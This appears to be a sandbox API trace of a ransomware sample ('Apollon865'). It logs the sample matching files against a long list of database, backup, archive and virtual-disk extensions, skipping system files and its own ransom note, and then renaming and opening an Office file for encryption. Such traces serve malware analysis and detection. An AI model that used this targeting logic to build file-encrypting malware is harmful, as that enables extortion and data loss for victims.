	[0076.007] lstrlenW (lpString="sqlite") returned 6
	[0076.007] lstrcmpiW (lpString1="NG.DLL", lpString2="sqlite") returned -1
	[0076.007] lstrlenW (lpString="sqlite3") returned 7
	[0076.007] lstrcmpiW (lpString1="ING.DLL", lpString2="sqlite3") returned -1
	[0076.007] lstrlenW (lpString="sqlitedb") returned 8
	[0076.007] lstrcmpiW (lpString1="DING.DLL", lpString2="sqlitedb") returned -1
	[0076.007] lstrlenW (lpString="xml") returned 3
	[0076.007] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1
	[0076.008] lstrlenW (lpString="$er") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1
	[0076.008] lstrlenW (lpString="4dd") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1
	[0076.008] lstrlenW (lpString="4dl") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1
	[0076.008] lstrlenW (lpString="^^^") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1
	[0076.008] lstrlenW (lpString="abs") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1
	[0076.008] lstrlenW (lpString="abx") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1
	[0076.008] lstrlenW (lpString="accdb") returned 5
	[0076.008] lstrcmpiW (lpString1="G.DLL", lpString2="accdb") returned 1
	[0076.008] lstrlenW (lpString="accdc") returned 5
	[0076.008] lstrcmpiW (lpString1="G.DLL", lpString2="accdc") returned 1
	[0076.008] lstrlenW (lpString="accde") returned 5
	[0076.008] lstrcmpiW (lpString1="G.DLL", lpString2="accde") returned 1
	[0076.008] lstrlenW (lpString="accdr") returned 5
	[0076.008] lstrcmpiW (lpString1="G.DLL", lpString2="accdr") returned 1
	[0076.008] lstrlenW (lpString="accdt") returned 5
	[0076.008] lstrcmpiW (lpString1="G.DLL", lpString2="accdt") returned 1
	[0076.008] lstrlenW (lpString="accdw") returned 5
	[0076.008] lstrcmpiW (lpString1="G.DLL", lpString2="accdw") returned 1
	[0076.008] lstrlenW (lpString="accft") returned 5
	[0076.008] lstrcmpiW (lpString1="G.DLL", lpString2="accft") returned 1
	[0076.008] lstrlenW (lpString="adb") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1
	[0076.008] lstrlenW (lpString="adb") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1
	[0076.008] lstrlenW (lpString="ade") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1
	[0076.008] lstrlenW (lpString="adf") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1
	[0076.008] lstrlenW (lpString="adn") returned 3
	[0076.008] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1
	[0076.008] lstrlenW (lpString="adp") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1
	[0076.009] lstrlenW (lpString="alf") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1
	[0076.009] lstrlenW (lpString="ask") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1
	[0076.009] lstrlenW (lpString="btr") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1
	[0076.009] lstrlenW (lpString="cat") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1
	[0076.009] lstrlenW (lpString="cdb") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1
	[0076.009] lstrlenW (lpString="ckp") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1
	[0076.009] lstrlenW (lpString="cma") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1
	[0076.009] lstrlenW (lpString="cpd") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1
	[0076.009] lstrlenW (lpString="dacpac") returned 6
	[0076.009] lstrcmpiW (lpString1="NG.DLL", lpString2="dacpac") returned 1
	[0076.009] lstrlenW (lpString="dad") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1
	[0076.009] lstrlenW (lpString="dadiagrams") returned 10
	[0076.009] lstrcmpiW (lpString1="ANDING.DLL", lpString2="dadiagrams") returned -1
	[0076.009] lstrlenW (lpString="daschema") returned 8
	[0076.009] lstrcmpiW (lpString1="DING.DLL", lpString2="daschema") returned 1
	[0076.009] lstrlenW (lpString="db-journal") returned 10
	[0076.009] lstrcmpiW (lpString1="ANDING.DLL", lpString2="db-journal") returned -1
	[0076.009] lstrlenW (lpString="db-shm") returned 6
	[0076.009] lstrcmpiW (lpString1="NG.DLL", lpString2="db-shm") returned 1
	[0076.009] lstrlenW (lpString="db-wal") returned 6
	[0076.009] lstrcmpiW (lpString1="NG.DLL", lpString2="db-wal") returned 1
	[0076.009] lstrlenW (lpString="dbc") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1
	[0076.009] lstrlenW (lpString="dbs") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1
	[0076.009] lstrlenW (lpString="dbt") returned 3
	[0076.009] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1
	[0076.009] lstrlenW (lpString="dbv") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1
	[0076.010] lstrlenW (lpString="dbx") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1
	[0076.010] lstrlenW (lpString="dcb") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1
	[0076.010] lstrlenW (lpString="dct") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1
	[0076.010] lstrlenW (lpString="dcx") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1
	[0076.010] lstrlenW (lpString="ddl") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1
	[0076.010] lstrlenW (lpString="dlis") returned 4
	[0076.010] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1
	[0076.010] lstrlenW (lpString="dp1") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1
	[0076.010] lstrlenW (lpString="dqy") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1
	[0076.010] lstrlenW (lpString="dsk") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1
	[0076.010] lstrlenW (lpString="dsn") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1
	[0076.010] lstrlenW (lpString="dtsx") returned 4
	[0076.010] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1
	[0076.010] lstrlenW (lpString="dxl") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1
	[0076.010] lstrlenW (lpString="eco") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1
	[0076.010] lstrlenW (lpString="ecx") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1
	[0076.010] lstrlenW (lpString="edb") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1
	[0076.010] lstrlenW (lpString="epim") returned 4
	[0076.010] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1
	[0076.010] lstrlenW (lpString="fcd") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1
	[0076.010] lstrlenW (lpString="fdb") returned 3
	[0076.010] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1
	[0076.011] lstrlenW (lpString="fic") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1
	[0076.011] lstrlenW (lpString="flexolibrary") returned 12
	[0076.011] lstrlenW (lpString="fm5") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1
	[0076.011] lstrlenW (lpString="fmp") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1
	[0076.011] lstrlenW (lpString="fmp12") returned 5
	[0076.011] lstrcmpiW (lpString1="G.DLL", lpString2="fmp12") returned 1
	[0076.011] lstrlenW (lpString="fmpsl") returned 5
	[0076.011] lstrcmpiW (lpString1="G.DLL", lpString2="fmpsl") returned 1
	[0076.011] lstrlenW (lpString="fol") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1
	[0076.011] lstrlenW (lpString="fp3") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1
	[0076.011] lstrlenW (lpString="fp4") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1
	[0076.011] lstrlenW (lpString="fp5") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1
	[0076.011] lstrlenW (lpString="fp7") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1
	[0076.011] lstrlenW (lpString="fpt") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1
	[0076.011] lstrlenW (lpString="frm") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1
	[0076.011] lstrlenW (lpString="gdb") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1
	[0076.011] lstrlenW (lpString="gdb") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1
	[0076.011] lstrlenW (lpString="grdb") returned 4
	[0076.011] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1
	[0076.011] lstrlenW (lpString="gwi") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1
	[0076.011] lstrlenW (lpString="hdb") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1
	[0076.011] lstrlenW (lpString="his") returned 3
	[0076.011] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1
	[0076.011] lstrlenW (lpString="ib") returned 2
	[0076.011] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1
	[0076.012] lstrlenW (lpString="idb") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1
	[0076.012] lstrlenW (lpString="ihx") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1
	[0076.012] lstrlenW (lpString="itdb") returned 4
	[0076.012] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1
	[0076.012] lstrlenW (lpString="itw") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1
	[0076.012] lstrlenW (lpString="jet") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1
	[0076.012] lstrlenW (lpString="jtx") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1
	[0076.012] lstrlenW (lpString="kdb") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1
	[0076.012] lstrlenW (lpString="kexi") returned 4
	[0076.012] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1
	[0076.012] lstrlenW (lpString="kexic") returned 5
	[0076.012] lstrcmpiW (lpString1="G.DLL", lpString2="kexic") returned -1
	[0076.012] lstrlenW (lpString="kexis") returned 5
	[0076.012] lstrcmpiW (lpString1="G.DLL", lpString2="kexis") returned -1
	[0076.012] lstrlenW (lpString="lgc") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1
	[0076.012] lstrlenW (lpString="lwx") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1
	[0076.012] lstrlenW (lpString="maf") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1
	[0076.012] lstrlenW (lpString="maq") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1
	[0076.012] lstrlenW (lpString="mar") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1
	[0076.012] lstrlenW (lpString="marshal") returned 7
	[0076.012] lstrcmpiW (lpString1="ING.DLL", lpString2="marshal") returned -1
	[0076.012] lstrlenW (lpString="mas") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1
	[0076.012] lstrlenW (lpString="mav") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1
	[0076.012] lstrlenW (lpString="maw") returned 3
	[0076.012] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1
	[0076.013] lstrlenW (lpString="mdbhtml") returned 7
	[0076.013] lstrcmpiW (lpString1="ING.DLL", lpString2="mdbhtml") returned -1
	[0076.013] lstrlenW (lpString="mdn") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1
	[0076.013] lstrlenW (lpString="mdt") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1
	[0076.013] lstrlenW (lpString="mfd") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1
	[0076.013] lstrlenW (lpString="mpd") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1
	[0076.013] lstrlenW (lpString="mrg") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1
	[0076.013] lstrlenW (lpString="mud") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1
	[0076.013] lstrlenW (lpString="mwb") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1
	[0076.013] lstrlenW (lpString="myd") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1
	[0076.013] lstrlenW (lpString="ndf") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1
	[0076.013] lstrlenW (lpString="nnt") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1
	[0076.013] lstrlenW (lpString="nrmlib") returned 6
	[0076.013] lstrcmpiW (lpString1="NG.DLL", lpString2="nrmlib") returned -1
	[0076.013] lstrlenW (lpString="ns2") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1
	[0076.013] lstrlenW (lpString="ns3") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1
	[0076.013] lstrlenW (lpString="ns4") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1
	[0076.013] lstrlenW (lpString="nsf") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1
	[0076.013] lstrlenW (lpString="nv") returned 2
	[0076.013] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1
	[0076.013] lstrlenW (lpString="nv2") returned 3
	[0076.013] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1
	[0076.013] lstrlenW (lpString="nwdb") returned 4
	[0076.014] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1
	[0076.014] lstrlenW (lpString="nyf") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1
	[0076.014] lstrlenW (lpString="odb") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1
	[0076.014] lstrlenW (lpString="odb") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1
	[0076.014] lstrlenW (lpString="oqy") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1
	[0076.014] lstrlenW (lpString="ora") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1
	[0076.014] lstrlenW (lpString="orx") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1
	[0076.014] lstrlenW (lpString="owc") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1
	[0076.014] lstrlenW (lpString="p96") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1
	[0076.014] lstrlenW (lpString="p97") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1
	[0076.014] lstrlenW (lpString="pan") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1
	[0076.014] lstrlenW (lpString="pdb") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1
	[0076.014] lstrlenW (lpString="pdm") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1
	[0076.014] lstrlenW (lpString="pnz") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1
	[0076.014] lstrlenW (lpString="qry") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1
	[0076.014] lstrlenW (lpString="qvd") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1
	[0076.014] lstrlenW (lpString="rbf") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1
	[0076.014] lstrlenW (lpString="rctd") returned 4
	[0076.014] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1
	[0076.014] lstrlenW (lpString="rod") returned 3
	[0076.014] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1
	[0076.015] lstrlenW (lpString="rodx") returned 4
	[0076.015] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1
	[0076.015] lstrlenW (lpString="rpd") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1
	[0076.015] lstrlenW (lpString="rsd") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1
	[0076.015] lstrlenW (lpString="sas7bdat") returned 8
	[0076.015] lstrcmpiW (lpString1="DING.DLL", lpString2="sas7bdat") returned -1
	[0076.015] lstrlenW (lpString="sbf") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1
	[0076.015] lstrlenW (lpString="scx") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1
	[0076.015] lstrlenW (lpString="sdb") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1
	[0076.015] lstrlenW (lpString="sdc") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1
	[0076.015] lstrlenW (lpString="sdf") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1
	[0076.015] lstrlenW (lpString="sis") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1
	[0076.015] lstrlenW (lpString="spq") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1
	[0076.015] lstrlenW (lpString="te") returned 2
	[0076.015] lstrcmpiW (lpString1="LL", lpString2="te") returned -1
	[0076.015] lstrlenW (lpString="teacher") returned 7
	[0076.015] lstrcmpiW (lpString1="ING.DLL", lpString2="teacher") returned -1
	[0076.015] lstrlenW (lpString="tmd") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1
	[0076.015] lstrlenW (lpString="tps") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1
	[0076.015] lstrlenW (lpString="trc") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1
	[0076.015] lstrlenW (lpString="trc") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1
	[0076.015] lstrlenW (lpString="trm") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1
	[0076.015] lstrlenW (lpString="udb") returned 3
	[0076.015] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1
	[0076.016] lstrlenW (lpString="udl") returned 3
	[0076.016] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1
	[0076.016] lstrlenW (lpString="usr") returned 3
	[0076.016] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1
	[0076.016] lstrlenW (lpString="v12") returned 3
	[0076.016] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1
	[0076.016] lstrlenW (lpString="vis") returned 3
	[0076.016] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1
	[0076.016] lstrlenW (lpString="vpd") returned 3
	[0076.016] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1
	[0076.016] lstrlenW (lpString="vvv") returned 3
	[0076.016] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1
	[0076.016] lstrlenW (lpString="wdb") returned 3
	[0076.016] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1
	[0076.016] lstrlenW (lpString="wmdb") returned 4
	[0076.016] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1
	[0076.016] lstrlenW (lpString="wrk") returned 3
	[0076.016] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1
	[0076.016] lstrlenW (lpString="xdb") returned 3
	[0076.016] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1
	[0076.016] lstrlenW (lpString="xld") returned 3
	[0076.016] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1
	[0076.016] lstrlenW (lpString="xmlff") returned 5
	[0076.016] lstrcmpiW (lpString1="G.DLL", lpString2="xmlff") returned -1
	[0076.016] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="Apollon865.txt.exe") returned 1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2=".") returned 1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="..") returned 1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="windows") returned -1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="bootmgr") returned 1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="temp") returned -1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="pagefile.sys") returned -1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="boot") returned 1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="ids.txt") returned -1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="ntuser.dat") returned -1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="perflogs") returned -1
	[0076.016] lstrcmpiW (lpString1="BRANDING.XML", lpString2="MSBuild") returned -1
	[0076.017] lstrlenW (lpString="BRANDING.XML") returned 12
	[0076.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105
	[0076.017] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="BRANDING.XML" | out: lpString1="BRANDING.XML") returned="BRANDING.XML"
	[0076.017] lstrlenW (lpString="BRANDING.XML") returned 12
	[0076.017] lstrlenW (lpString="Apollon865") returned 10
	[0076.017] lstrcmpiW (lpString1="ANDING.XML", lpString2="Apollon865") returned -1
	[0076.017] lstrlenW (lpString=".dll") returned 4
	[0076.017] lstrcmpiW (lpString1="BRANDING.XML", lpString2=".dll") returned 1
	[0076.017] lstrlenW (lpString=".lnk") returned 4
	[0076.017] lstrcmpiW (lpString1="BRANDING.XML", lpString2=".lnk") returned 1
	[0076.017] lstrlenW (lpString=".ini") returned 4
	[0076.017] lstrcmpiW (lpString1="BRANDING.XML", lpString2=".ini") returned 1
	[0076.017] lstrlenW (lpString=".sys") returned 4
	[0076.017] lstrcmpiW (lpString1="BRANDING.XML", lpString2=".sys") returned 1
	[0076.017] lstrlenW (lpString="BRANDING.XML") returned 12
	[0076.017] lstrlenW (lpString="bak") returned 3
	[0076.017] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.017] lstrlenW (lpString="ba_") returned 3
	[0076.017] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.017] lstrlenW (lpString="dbb") returned 3
	[0076.017] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.017] lstrlenW (lpString="vmdk") returned 4
	[0076.017] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.017] lstrlenW (lpString="rar") returned 3
	[0076.017] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.017] lstrlenW (lpString="zip") returned 3
	[0076.017] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.017] lstrlenW (lpString="tgz") returned 3
	[0076.017] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.017] lstrlenW (lpString="vbox") returned 4
	[0076.017] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.017] lstrlenW (lpString="vdi") returned 3
	[0076.017] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.017] lstrlenW (lpString="vhd") returned 3
	[0076.017] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.017] lstrlenW (lpString="vhdx") returned 4
	[0076.017] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.018] lstrlenW (lpString="avhd") returned 4
	[0076.018] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.018] lstrlenW (lpString="db") returned 2
	[0076.018] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.018] lstrlenW (lpString="db2") returned 3
	[0076.018] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.018] lstrlenW (lpString="db3") returned 3
	[0076.018] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.018] lstrlenW (lpString="dbf") returned 3
	[0076.018] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.018] lstrlenW (lpString="mdf") returned 3
	[0076.018] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.018] lstrlenW (lpString="mdb") returned 3
	[0076.018] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.018] lstrlenW (lpString="sql") returned 3
	[0076.018] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.018] lstrlenW (lpString="sqlite") returned 6
	[0076.018] lstrcmpiW (lpString1="NG.XML", lpString2="sqlite") returned -1
	[0076.018] lstrlenW (lpString="sqlite3") returned 7
	[0076.018] lstrcmpiW (lpString1="ING.XML", lpString2="sqlite3") returned -1
	[0076.018] lstrlenW (lpString="sqlitedb") returned 8
	[0076.018] lstrcmpiW (lpString1="DING.XML", lpString2="sqlitedb") returned -1
	[0076.018] lstrlenW (lpString="xml") returned 3
	[0076.018] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.018] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.Apollon865") returned 116
	[0076.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0076.020] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=596341) returned 1
	[0076.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
